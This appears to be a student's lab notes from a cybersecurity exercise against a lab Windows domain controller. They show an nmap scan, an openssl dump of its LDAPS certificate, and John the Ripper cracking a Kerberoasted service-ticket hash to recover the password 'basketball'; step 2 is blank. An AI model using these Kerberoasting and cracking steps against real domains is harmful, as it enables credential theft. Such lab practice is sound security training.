Lab13

Step 1

```
Nmap scan report for 10.10.4.70
Host is up (0.00073s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-10 08:15:27Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: toyota.cyberlab.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: toyota.cyberlab.local0., Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: toyota.cyberlab.local0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: toyota.cyberlab.local0., Site: Default-First-Site-Name)
MAC Address: 00:15:5D:7C:56:16 (Microsoft)
Service Info: Host: LANDCRUISER; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 96 IP addresses (7 hosts up) scanned in 47.67 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ openssl s_client -connect 10.10.4.70:636
Connecting to 10.10.4.70
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN=LandCruiser.toyota.cyberlab.local
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN=LandCruiser.toyota.cyberlab.local
verify error:num=21:unable to verify the first certificate
verify return:1
depth=0 CN=LandCruiser.toyota.cyberlab.local
verify return:1
---
Certificate chain
 0 s:CN=LandCruiser.toyota.cyberlab.local
   i:DC=local, DC=cyberlab, DC=toyota, CN=toyota-LANDCRUISER-CA-1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jan  9 16:56:01 2025 GMT; NotAfter: Jan  9 16:56:01 2026 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIGpTCCBY2gAwIBAgITGgAAAALBzSKoGES+tAAAAAAAAjANBgkqhkiG9w0BAQsF
ADBrMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGDAWBgoJkiaJk/IsZAEZFghjeWJl
cmxhYjEWMBQGCgmSJomT8ixkARkWBnRveW90YTEgMB4GA1UEAxMXdG95b3RhLUxB
TkRDUlVJU0VSLUNBLTEwHhcNMjUwMTA5MTY1NjAxWhcNMjYwMTA5MTY1NjAxWjAs
MSowKAYDVQQDEyFMYW5kQ3J1aXNlci50b3lvdGEuY3liZXJsYWIubG9jYWwwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDFEMLiIneEaEE7e396DwHSNv49
hHO3fXQUAT3X3qZe/d9mrU6EeLSOYSkvIMpcNxykarxMJj+TdIZo/BSp/FuSm0je
JRkxp9/hv1y8zZ9rebIauy+5cfoacwvdw6uuNanluIa9Ld7CTZees01Robb5k1pE
Vn/Up6I4qGwvOv8CYPqUrfukoQ7F88TLe3nk0iyfoD9NJpskNv5iy316wh24E4L6
jYdrsCSxQ/H2NTtXczXWhCMgowGPf/6uCA6mYdCMfH/R3OIXqj/8C2TN9i1FpWZ8
o18ODF3NnRSVUm2XG2RVdxQccwwXGVtEUdQBxYjEX6yjtTNNGh85CkR+7Z65AgMB
AAGjggN/MIIDezAvBgkrBgEEAYI3FAIEIh4gAEQAbwBtAGEAaQBuAEMAbwBuAHQA
cgBvAGwAbABlAHIwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMA4GA1Ud
DwEB/wQEAwIFoDB4BgkqhkiG9w0BCQ8EazBpMA4GCCqGSIb3DQMCAgIAgDAOBggq
hkiG9w0DBAICAIAwCwYJYIZIAWUDBAEqMAsGCWCGSAFlAwQBLTALBglghkgBZQME
AQIwCwYJYIZIAWUDBAEFMAcGBSsOAwIHMAoGCCqGSIb3DQMHMB0GA1UdDgQWBBRI
srffXlH2szkTMrHTTIf6vK3RHTAfBgNVHSMEGDAWgBTpxX+SVsJI4rdOlqKxa3Sa
gUfVpzCB5gYDVR0fBIHeMIHbMIHYoIHVoIHShoHPbGRhcDovLy9DTj10b3lvdGEt
TEFORENSVUlTRVItQ0EtMSxDTj1MYW5kQ3J1aXNlcixDTj1DRFAsQ049UHVibGlj
JTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixE
Qz10b3lvdGEsREM9Y3liZXJsYWIsREM9bG9jYWw/Y2VydGlmaWNhdGVSZXZvY2F0
aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHW
BggrBgEFBQcBAQSByTCBxjCBwwYIKwYBBQUHMAKGgbZsZGFwOi8vL0NOPXRveW90
YS1MQU5EQ1JVSVNFUi1DQS0xLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2
aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXRveW90YSxEQz1j
eWJlcmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9
Y2VydGlmaWNhdGlvbkF1dGhvcml0eTBNBgNVHREERjBEoB8GCSsGAQQBgjcZAaAS
BBAtIYX5t5i1S51f+FU4YSVOgiFMYW5kQ3J1aXNlci50b3lvdGEuY3liZXJsYWIu
bG9jYWwwTgYJKwYBBAGCNxkCBEEwP6A9BgorBgEEAYI3GQIBoC8ELVMtMS01LTIx
LTE1ODk5MzE2OTItMTY2ODAzMTQ2OC0xNDA1Mjg5OTgtMTAwMDANBgkqhkiG9w0B
AQsFAAOCAQEAhZ/vys1UHbsKSZYf9dMTAwx+5yK7CUzp1w6NFd0hK5OxuDAphKzq
iOchwm67KRwTtHDHSp7V8123najo+T2CbuVdYaoCIDKYC6kzE1tP51XDe20+u0An
4Hc8hgWc7ftfT0gtNYa3mz1T+bnyDQqzmHPgpfiNSbv96VPmBytPlthGbGDWs/da
nFLTz71RgeeGk/oJxCgdVwJHKwBbK89OJP/w4MktgYJzvZKaMnmlggkLnpYN46Lq
pdXJdirzxV4pzzCtNC4wItjkTC3Vgk8g5InS6MDJoyIru2VdUf/4sVNHHK1gOmVZ
o8XI5Z13FUOdpBHtK3iUYzTKCMJy63RETg==
-----END CERTIFICATE-----
subject=CN=LandCruiser.toyota.cyberlab.local
issuer=DC=local, DC=cyberlab, DC=toyota, CN=toyota-LANDCRUISER-CA-1
---
```

Step2.

Step3

```
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/fasttrack.txt --format=krb5tgs /home/kali/lab13-ticket.txt

Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
basketball       (?)
1g 0:00:00:00 DONE (2025-04-10 04:29) 100.0g/s 26200p/s 26200c/s 26200C/s Spring2017..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```